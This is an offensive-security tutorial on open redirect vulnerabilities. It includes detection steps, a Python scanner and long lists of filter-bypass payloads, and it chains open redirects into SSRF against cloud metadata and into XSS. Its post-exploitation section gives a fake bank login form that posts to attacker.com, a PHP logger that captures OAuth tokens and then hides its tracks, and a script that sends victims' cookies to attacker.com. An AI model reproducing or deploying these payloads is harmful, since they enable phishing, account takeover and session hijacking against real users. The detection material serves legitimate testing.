Open Redirect
Open Redirect is a web security vulnerability that allows an attacker to redirect users to an external malicious website. While often considered a lower severity issue, open redirects can be leveraged for phishing attacks, bypassing security controls, and chaining with other vulnerabilities like SSRF or OAuth attacks.
How It Works
Open redirect vulnerabilities occur when an application accepts user-controlled input to determine a redirect destination without proper validation. For example:
<?php
$redirect = $_GET['url'];
header("Location: " . $redirect);
?>
An attacker could exploit this:
https://trusted-site.com/redirect?url=https://evil.com
When users click this link, they trust the domain but are redirected to a malicious site.
Detection
Manual Testing
URL Parameter Tests
Testing parameters that control redirects:
# Step 1: Identify redirect parameters
https://site.com/redirect?url=https://example.com
https://site.com/logout?next=/dashboard
https://site.com/auth?redirect_uri=https://example.com
https://site.com/go?to=https://example.com
https://site.com/click?target=https://example.com
# Step 2: Test with external domain
https://site.com/redirect?url=https://evil.com
https://site.com/logout?next=https://evil.com
https://site.com/auth?redirect_uri=https://evil.com
# Step 3: Check if redirect happens
# - Redirected to evil.com: Vulnerable
# - Error message: Protected
# - Redirected to default: Whitelist in place
# Step 4: Common parameter names to test
url, redirect, redirect_uri, redirect_url
next, return, returnto, return_to, return_url
destination, dest, target, to, goto, go
continue, callback, callback_url, redir
HTTP Header Tests
Testing redirect headers:
# Referer-based redirects
GET /redirect HTTP/1.1
Host: target.com
Referer: https://evil.com
# X-Forwarded-Host redirect
GET /redirect HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Host header injection
GET /redirect HTTP/1.1
Host: evil.com
# Origin header
GET /redirect HTTP/1.1
Host: target.com
Origin: https://evil.com
Meta Refresh Tests
Testing HTML meta refresh:
# Check if redirect uses meta refresh
# Look in response for:
<meta http-equiv="refresh" content="0;url=USER_INPUT">
# If found, test:
https://site.com/redirect?url=https://evil.com
# Check source code for:
<meta http-equiv="refresh" content="0;url=https://evil.com">
JavaScript Redirect Tests
Testing JavaScript-based redirects:
# Check response for JavaScript redirects:
window.location = "USER_INPUT"
window.location.href = "USER_INPUT"
document.location = "USER_INPUT"
location.href = "USER_INPUT"
# Test with:
https://site.com/redirect?url=https://evil.com
# Check if JavaScript executes redirect
Automated Discovery
Using Burp Suite
# Step 1: Configure Burp to detect redirects
# Proxy > Options > Response Modification
# Disable "Follow redirections"
# Step 2: Identify redirect parameters
# Look for 3XX status codes
# Look for Location headers
# Step 3: Send to Intruder
# Set payload position: redirect?url=§https://example.com§
# Payload: Your domain with unique identifier
# Analyze responses for 3XX to your domain
# Step 4: Use Burp Extensions
# Install: Reflected Parameters
# Install: Param Miner
# Install: OpenRedireX
Using OpenRedireX
# Basic scan
python3 openredirex.py -u https://target.com
# With URL list
python3 openredirex.py -l urls.txt
# With custom payloads
python3 openredirex.py -u https://target.com -p payloads.txt
# Saving results
python3 openredirex.py -u https://target.com -o results.txt
Using Custom Scripts
# Python script for open redirect testing
import requests
from urllib.parse import urlparse
def test_open_redirect(url, param, payload):
test_url = f"{url}?{param}={payload}"
try:
response = requests.get(test_url, allow_redirects=False, timeout=5)
# Check for redirect
if response.status_code in [301, 302, 303, 307, 308]:
location = response.headers.get('Location', '')
# Check if redirects to our payload
if payload in location:
return True, location
# Check for meta refresh
if '<meta' in response.text and 'refresh' in response.text.lower():
if payload in response.text:
return True, "Meta refresh redirect"
# Check for JavaScript redirect
js_redirects = ['window.location', 'document.location', 'location.href']
for js in js_redirects:
if js in response.text and payload in response.text:
return True, "JavaScript redirect"
return False, None
except Exception as e:
return False, str(e)
# Test multiple parameters
target = "https://target.com/redirect"
parameters = ['url', 'redirect', 'next', 'return', 'goto']
payload = "https://evil.com"
for param in parameters:
vulnerable, location = test_open_redirect(target, param, payload)
if vulnerable:
print(f"[+] Vulnerable: {param} -> {location}")
else:
print(f"[-] Not vulnerable: {param}")
Attack Vectors
Direct Redirect
Basic open redirect exploitation:
# Simple external redirect
https://target.com/redirect?url=https://evil.com
# With URL encoding
https://target.com/redirect?url=https%3A%2F%2Fevil.com
# With query parameters
https://target.com/redirect?url=https://evil.com/phishing?target=victim
# Multiple redirect parameters
https://target.com/redirect?url=https://evil.com&redirect=https://evil.com
Phishing Attacks
Using trusted domains for phishing:
# Trusted domain in URL
https://legitimate-bank.com/redirect?url=https://fake-bank.com/login
# Phishing page that looks identical
# Victim sees legitimate-bank.com in URL
# Trusts the link
# Gets redirected to fake-bank.com
# Enters credentials on attacker's site
# Example phishing flow:
# 1. Email: "Security Alert from trusted-bank.com"
# 2. Link: https://trusted-bank.com/redirect?url=https://attacker.com/fake-login
# 3. User clicks, sees trusted domain
# 4. Redirected to fake login page
# 5. Credentials stolen
OAuth/SSO Token Theft
Stealing OAuth tokens:
# OAuth flow with open redirect
# Normal OAuth: https://app.com/oauth?redirect_uri=https://app.com/callback
# Exploited: https://app.com/oauth?redirect_uri=https://evil.com/steal
# Attack flow:
1. User initiates OAuth login
2. Attacker crafts link: https://app.com/oauth?redirect_uri=https://evil.com
3. User authorizes application
4. Token sent to https://evil.com instead of legitimate callback
5. Attacker steals access token
# SAML SSO redirect
https://sso.company.com/login?RelayState=https://evil.com
SSRF via Open Redirect
Chaining open redirect with SSRF:
# If target URL is validated but allows open redirect
# Attacker can bypass SSRF filters
# SSRF endpoint checks if URL starts with https://trusted.com
# But https://trusted.com has open redirect
# Payload:
https://target.com/fetch?url=https://trusted.com/redirect?url=http://169.254.169.254/latest/meta-data/
# Flow:
1. SSRF filter sees: https://trusted.com (allowed)
2. trusted.com redirects to: http://169.254.169.254
3. Server follows redirect
4. AWS metadata accessed
Filter Bypass for XSS
Using open redirect to bypass XSS filters:
# If JavaScript URLs are filtered
# javascript:alert(1) - Blocked
# Use open redirect:
https://target.com/redirect?url=javascript:alert(1)
# Or data URLs:
https://target.com/redirect?url=data:text/html,<script>alert(1)</script>
Bypass Techniques
Protocol Bypass
Using alternative protocols:
# If http/https are filtered
# Try protocol-relative URLs
url=//evil.com
url=///evil.com
# Try without protocol
url=evil.com
# JavaScript protocol
url=javascript:alert(document.domain)
# Data protocol
url=data:text/html,<script>alert(1)</script>
# File protocol
url=file:///etc/passwd
Domain Whitelist Bypass
Bypassing domain restrictions:
# If whitelist checks for "trusted.com"
# Subdomain confusion
url=https://trusted.com.evil.com
# Using @ symbol
url=https://trusted.com@evil.com
url=https://evil.com@trusted.com # Some parsers use last domain
# Using # (fragment)
url=https://trusted.com#@evil.com
# Open redirect on whitelisted domain
url=https://trusted.com/redirect?url=https://evil.com
# IDN homograph attack
url=https://trusted.com # Using unicode lookalikes
# е (Cyrillic) looks like e (Latin)
Path Confusion
Confusing path parsing:
# Using backslash (Windows-style)
url=https://trusted.com\@evil.com
url=https://trusted.com\evil.com
# Using question mark
url=https://trusted.com?@evil.com
# Using semicolon
url=https://trusted.com;@evil.com
# Using different slashes
url=https://trusted.com/./evil.com
url=https://trusted.com/../evil.com
Encoding Bypass
Different encoding methods:
# URL encoding
url=https%3A%2F%2Fevil.com
# Double URL encoding
url=https%253A%252F%252Fevil.com
# HTML encoding
url=https://evil.com (https://evil.com)
# Unicode encoding
url=\u0068\u0074\u0074\u0070\u0073://evil.com
# Mixed encoding
url=ht%74ps://evil.c%6fm
# Hex encoding
url=0x68747470733a2f2f6576696c2e636f6d
Whitespace and Special Characters
Using whitespace to confuse parsers:
# Leading/trailing whitespace
url= https://evil.com
url=https://evil.com
url=%20https://evil.com
# Newlines
url=https://trusted.com%0Ahttps://evil.com
url=https://trusted.com%0Dhttps://evil.com
# Tabs
url=https://trusted.com%09https://evil.com
# Null byte (older systems)
url=https://trusted.com%00https://evil.com
Open Redirect Chaining
Chaining multiple redirects:
# If filter checks final destination
# But doesn't follow redirects
# Create redirect chain:
url=https://allowed-domain1.com/redirect?url=https://allowed-domain2.com/redirect?url=https://evil.com
# Using URL shorteners
url=https://bit.ly/xxxxx
# Which redirects to https://evil.com
# Using redirect services
url=https://redirect.service.com/?url=https://evil.com
Parameter Pollution
Using multiple parameters:
# If parser takes first, filter checks last
url=https://trusted.com&url=https://evil.com
url=https://evil.com&url=https://trusted.com
# Using array notation
url[]=https://trusted.com&url[]=https://evil.com
# Different parameter names
url=https://trusted.com&redirect=https://evil.com
redirect=https://trusted.com&url=https://evil.com
JavaScript URL Bypass
Bypassing JavaScript protocol filters:
# Encoding javascript:
url=javascript:alert(1)
url=java%0script:alert(1)
url=java%09script:alert(1)
url=java%0Dscript:alert(1)
# Using data URLs
url=data:text/html,<script>alert(1)</script>
url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
# Using JavaScript entities
url=javascript:alert(1)
url=javascript:alert(1)
url=javascript:alert(1)
Post-Exploitation
Credential Harvesting
Creating convincing phishing pages:
<!-- Setup fake login page at evil.com -->
<!DOCTYPE html>
<html>
<head>
<title>Login - Trusted Bank</title>
<!-- Copy legitimate site's CSS -->
</head>
<body>
<!-- Exact copy of legitimate login page -->
<form action="https://attacker.com/steal" method="POST">
<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<button type="submit">Login</button>
</form>
</body>
</html>
<!-- Send phishing email with open redirect link -->
<!-- https://trusted-bank.com/redirect?url=https://evil.com/fake-login -->
OAuth Token Theft
Stealing OAuth/OpenID tokens:
# Setup token stealer at evil.com/steal
# evil.com/steal code:
<?php
$code = $_GET['code'];
$access_token = $_GET['access_token'];
$id_token = $_GET['id_token'];
// Log tokens
file_put_contents('tokens.txt',
"Code: $code\nAccess: $access_token\nID: $id_token\n\n",
FILE_APPEND);
// Redirect to legitimate site to avoid suspicion
header('Location: https://legitimate-app.com/login');
?>
# Craft malicious OAuth URL
https://oauth-provider.com/authorize?
client_id=CLIENT_ID&
redirect_uri=https://app.com/redirect?url=https://evil.com/steal&
response_type=token&
scope=read_profile
Session Hijacking
Stealing session cookies:
// At evil.com/steal-session
<script>
// Steal cookies
var cookies = document.cookie;
// Send to attacker
fetch('https://attacker.com/log', {
method: 'POST',
body: JSON.stringify({
cookies: cookies,
url: window.location.href,
referrer: document.referrer
})
});
// Redirect back to look legitimate
setTimeout(() => {
window.location = 'https://legitimate-site.com';
}, 500);
</script>
Business Logic Bypass
Using redirects to bypass payment:
# Payment flow:
# 1. /checkout -> 2. /payment -> 3. /success
# If payment page has open redirect
# https://site.com/payment?next=https://evil.com
# Attack:
# 1. Add items to cart
# 2. Go to checkout
# 3. At payment, use: /payment?next=/success
# 4. Skip payment, direct to success page
# 5. Order confirmed without payment
Common Tools
Tool | Description | Primary Use Case |
---|---|---|
OpenRedireX | Open redirect scanner | Automated detection |
Burp Suite | Web vulnerability scanner | Manual testing |
OWASP ZAP | Security testing tool | Automated scanning |
Intigriti Redirector | Browser extension | Quick testing |
OpenRedirect Scanner | Python tool | Batch URL testing |
Waybackurls | Historical URL extractor | Finding potential parameters |